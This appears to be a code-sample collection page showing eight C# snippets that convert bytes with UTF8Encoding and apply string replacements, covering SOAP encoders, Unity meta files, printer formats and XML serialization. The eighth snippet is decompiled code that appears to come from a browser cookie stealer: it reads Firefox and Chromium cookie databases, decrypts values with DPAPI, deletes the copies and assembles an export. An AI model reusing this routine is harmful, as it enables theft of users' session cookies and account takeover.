Esempio n. 1
0
        public override Message ReadMessage(ArraySegment <byte> buffer, BufferManager bufferManager, string contentType)
        {
            var msgContents = new byte[buffer.Count];

            Array.Copy(buffer.Array, buffer.Offset, msgContents, 0, msgContents.Length);
            var message     = new UTF8Encoding().GetString(msgContents);
            var reader      = XmlReader.Create(new MemoryStream(msgContents));
            var xmlDocument = new XmlDocument();

            xmlDocument.Load(reader);
            var elementsByTagName = xmlDocument.GetElementsByTagName("Envelope", Soap11Namespace);

            if (elementsByTagName.Count == 0)
            {
                throw new XmlException("Не найден узел Envelope");
            }
            var prefixOfNamespace = elementsByTagName[0].GetPrefixOfNamespace(Soap11Namespace);

            if (string.IsNullOrEmpty(prefixOfNamespace))
            {
                throw new XmlException(string.Format("Не найден префикс пространста имен {0}", Soap11Namespace));
            }
            LogMessage(xmlDocument, true);
            // Убираем actors из входящего сообщения
            message = message.Replace(prefixOfNamespace + ":mustUnderstand=\"1\"", "");
            message = message.Replace(prefixOfNamespace + ":actor=\"" + SmevActor + "\"", "");
            var bytes  = new UTF8Encoding().GetBytes(message.Replace(prefixOfNamespace + ":actor=\"" + RecipientActor + "\"", ""));
            var length = bytes.Length;
            var array  = bufferManager.TakeBuffer(length);

            Array.Copy(bytes, 0, array, 0, length);
            buffer = new ArraySegment <byte>(array, 0, length);
            return(_innerEncoder.ReadMessage(buffer, bufferManager, contentType));
        }
Esempio n. 2
0
    private void ReImportTex(string path, bool isIndexTex = false)
    {
        //好像,meta文件不让直接修改,很烦
        //这里修改Meta文件需求先删除再创建,无法直接修改(可能是编译器打开着的原因,这个也是前辈文章中提示的我没有验证,不管用何种方式能修改Meta文件即可);
        //好的,可以改了。果然直接改meta才好用
        try
        {
            string     metaPath = path + ".meta";
            FileStream fs       = new FileStream(metaPath, FileMode.Open);
            byte[]     bytes    = new byte[fs.Length]; //一个meta不可能超21e的吧。。。
            fs.Read(bytes, 0, (int)fs.Length);
            string s = new UTF8Encoding().GetString(bytes);
            s = s.Replace("isReadable: 0", "isReadable: 1");
            s = s.Replace("textureCompression: 1", "textureCompression: 0");
            s = s.Replace("sRGBTexture: 1", "sRGBTexture: 0");

            if (isIndexTex)
            {
                s = s.Replace("filterMode: -1", "filterMode: 0");
            }

            byte[] newBytes = new UTF8Encoding().GetBytes(s);
            fs.Close();
            File.Delete(metaPath);
            fs = new FileStream(metaPath, FileMode.Create);
            fs.Write(newBytes, 0, newBytes.Length);
            fs.Close();
        }
        catch (IOException e)
        {
            Debug.LogError("没有对应meta文件,请先生成对应png,且打开Unity后,再点击");
        }
    }
Esempio n. 3
0
 //EnumType.DataEncode de = EnumType.DataEncode.UTF8;
 private void Configer_DataReceived(object sender, byte[] data)
 {
     if (txtCmd.Visible == true)
     {
         if (data.Length > 1)
         {
             string ss = new UTF8Encoding().GetString(data);
             if (ss.Contains("\r\n"))
             {
             }
             else if (ss.Contains("\r"))
             {
                 ss = ss.Replace("\r", "\r\n");
             }
             else
             {
                 ss = ss + "\r\n";
             }
             txtCmd.Invoke(new MethodInvoker(delegate
             {
                 //txtCmd.AppendText(new UTF8Encoding().GetString(data).Replace("\r", "\r\n"));
                 RichTextBoxExtension.AppendTextColorful(txtCmd, ss, Color.LightGreen);
                 txtCmd.SelectionStart = txtCmd.Text.Length;
             }));
         }
     }
     else
     {
         DataReceiver.AddData(data);
     }
 }
Esempio n. 4
0
        public static XElement SerializeValue(this Type type, object value)
        {
            XmlSerializer serializer = new XmlSerializer(type);
            MemoryStream  stream     = new MemoryStream();
            XmlTextWriter writer     = new XmlTextWriter(stream, Encoding.UTF8);

            serializer.Serialize(writer, value);

            string xml = new UTF8Encoding().GetString(((MemoryStream)writer.BaseStream).ToArray());

            xml = xml.Replace("<?xml version=\"1.0\" encoding=\"utf-8\"?>", "");
            xml = string.Format("<Value>{0}</Value>", xml);

            return(XElement.Parse(xml));
        }
Esempio n. 5
0
    private void ReImoprtBasemap(string path)
    {
        try
        {
            string     metaPath = path + ".meta";
            FileStream fs       = new FileStream(metaPath, FileMode.Open);
            byte[]     bytes    = new byte[fs.Length]; //一个meta不可能超21e的吧。。。
            fs.Read(bytes, 0, (int)fs.Length);
            string s = new UTF8Encoding().GetString(bytes);
            s = s.Replace("enableMipMap: 1", "enableMipMap: 0");
            s = s.Replace("nPOTScale: 1", "nPOTScale: 0");

            byte[] newBytes = new UTF8Encoding().GetBytes(s);
            fs.Close();
            File.Delete(metaPath);
            fs = new FileStream(metaPath, FileMode.Create);
            fs.Write(newBytes, 0, newBytes.Length);
            fs.Close();
        }
        catch (IOException e)
        {
            Debug.LogError("没有对应meta文件,请先生成对应png,且打开Unity后,再点击");
        }
    }
Esempio n. 6
0
        private string GetFormatFromPrinter(string formatName)
        {
            string format = "";

            try {
                OpenConnection();
                ZebraPrinterLinkOs printer = ZebraPrinterFactory.GetLinkOsPrinter(printerConnection);

                byte[] formatInBytes = printer.RetrieveFormatFromPrinter(formatName);
                format = new UTF8Encoding().GetString(formatInBytes);
                format = format.Replace("\0", "");
            } catch (ConnectionException error) {
                errorMessage = "Connection Error: " + error.Message;
            } finally {
                CloseConnection();
            }
            return(format);
        }
Esempio n. 7
0
        public override Message ReadMessage(ArraySegment <byte> buffer, BufferManager bufferManager, string contentType)
        {
            var bytes = new byte[buffer.Count];

            Array.Copy(buffer.Array, buffer.Offset, bytes, 0, bytes.Length);
            var message = new UTF8Encoding(true).GetString(bytes);

            // Сохраняем ответ в файл содержащий actor
            File.WriteAllText("D:\\TrueClientResponseActor.xml", message);
            var m      = message.Replace("s:actor=\"" + SMEVActor + "\"", "");
            var bytes2 = new UTF8Encoding().GetBytes(m);

            // Сохраняем ответ в файл уже без actor
            File.WriteAllBytes("D:\\TrueClientResponse.xml", bytes2);
            var       length = bytes2.Length;
            const int zero   = 0;
            var       num    = length + zero;
            var       array  = bufferManager.TakeBuffer(num);

            Array.Copy(bytes2, 0, array, zero, num);
            buffer = new ArraySegment <byte>(array, zero, num);
            return(innerEncoder.ReadMessage(buffer, bufferManager, contentType));
        }
Esempio n. 8
0
        // Token: 0x06000010 RID: 16 RVA: 0x000039F4 File Offset: 0x000029F4
        private static string GetCookies(string name)
        {
            string text = Program.filesFolder + name;
            int    num  = 0;

            if (File.Exists(text))
            {
                if (name.Contains("Moz"))
                {
                    try
                    {
                        string     tableName  = "moz_cookies";
                        SqlHandler sqlHandler = new SqlHandler(text);
                        sqlHandler.ReadTable(tableName);
                        int rowCount = sqlHandler.GetRowCount();
                        Program.TryFunction(new Program.function(File.Delete), text, 10, 200);
                        string text2 = "";
                        for (int i = 0; i < rowCount; i++)
                        {
                            string text3 = sqlHandler.GetValue(i, 4).ToString();
                            string text4;
                            if (sqlHandler.GetValue(i, 11).ToString() == "false")
                            {
                                text4 = "false";
                            }
                            else
                            {
                                text4 = "true";
                            }
                            string text5;
                            if (sqlHandler.GetValue(i, 10).ToString() == "false")
                            {
                                text5 = "false";
                            }
                            else
                            {
                                text5 = "true";
                            }
                            if (text3 != "")
                            {
                                if (text3.Contains("\""))
                                {
                                    text3 = text3.Replace("\"", "");
                                }
                                if (!text3.Contains("\\"))
                                {
                                    string text6 = text2;
                                    text2 = string.Concat(new string[]
                                    {
                                        text6,
                                        "{\"domain\":\"",
                                        sqlHandler.GetValue(i, 5),
                                        "\",\"expirationDate\":",
                                        sqlHandler.GetValue(i, 7),
                                        ",\"hostOnly\":false,\"httpOnly\":",
                                        text4,
                                        ",\"name\":\"",
                                        sqlHandler.GetValue(i, 3),
                                        "\",\"path\":\"",
                                        sqlHandler.GetValue(i, 6),
                                        "\",\"sameSite\":null,\"secure\":",
                                        text5,
                                        ",\"session\":false,\"storeId\":null,\"value\":\"",
                                        text3,
                                        "\",\"id\":1},"
                                    });
                                    num++;
                                }
                            }
                        }
                        BrowsersData.CookiesCount += num;
                        return(text2);
                    }
                    catch
                    {
                        return("");
                    }
                }
                try
                {
                    string     tableName2   = "cookies";
                    byte[]     entropyBytes = null;
                    SqlHandler sqlHandler2  = new SqlHandler(text);
                    sqlHandler2.ReadTable(tableName2);
                    int rowCount2 = sqlHandler2.GetRowCount();
                    Program.TryFunction(new Program.function(File.Delete), text, 10, 200);
                    string text7 = "";
                    for (int j = 0; j < rowCount2; j++)
                    {
                        byte[] bytes = Encoding.Default.GetBytes(sqlHandler2.GetValue(j, 12));
                        string text8;
                        byte[] bytes2 = DPAPI.Decrypt(bytes, entropyBytes, out text8);
                        string text9  = new UTF8Encoding(true).GetString(bytes2);
                        string text10;
                        if (sqlHandler2.GetValue(j, 7).ToString() == "false")
                        {
                            text10 = "false";
                        }
                        else
                        {
                            text10 = "true";
                        }
                        string text11;
                        if (sqlHandler2.GetValue(j, 6).ToString() == "false")
                        {
                            text11 = "false";
                        }
                        else
                        {
                            text11 = "true";
                        }
                        if (text9 != "")
                        {
                            if (text9.Contains("\""))
                            {
                                text9 = text9.Replace("\"", "");
                            }
                            if (!text9.Contains("\\"))
                            {
                                string text12 = text7;
                                text7 = string.Concat(new string[]
                                {
                                    text12,
                                    "{\"domain\":\"",
                                    sqlHandler2.GetValue(j, 1),
                                    "\",\"expirationDate\":",
                                    sqlHandler2.GetValue(j, 5),
                                    ",\"hostOnly\":false,\"httpOnly\":",
                                    text10,
                                    ",\"name\":\"",
                                    sqlHandler2.GetValue(j, 2),
                                    "\",\"path\":\"",
                                    sqlHandler2.GetValue(j, 4),
                                    "\",\"sameSite\":null,\"secure\":",
                                    text11,
                                    ",\"session\":false,\"storeId\":null,\"value\":\"",
                                    text9,
                                    "\",\"id\":",
                                    sqlHandler2.GetValue(j, 11),
                                    "},"
                                });
                                num++;
                            }
                        }
                    }
                    BrowsersData.CookiesCount += num;
                    return(text7);
                }
                catch
                {
                    return("");
                }
            }
            return("");
        }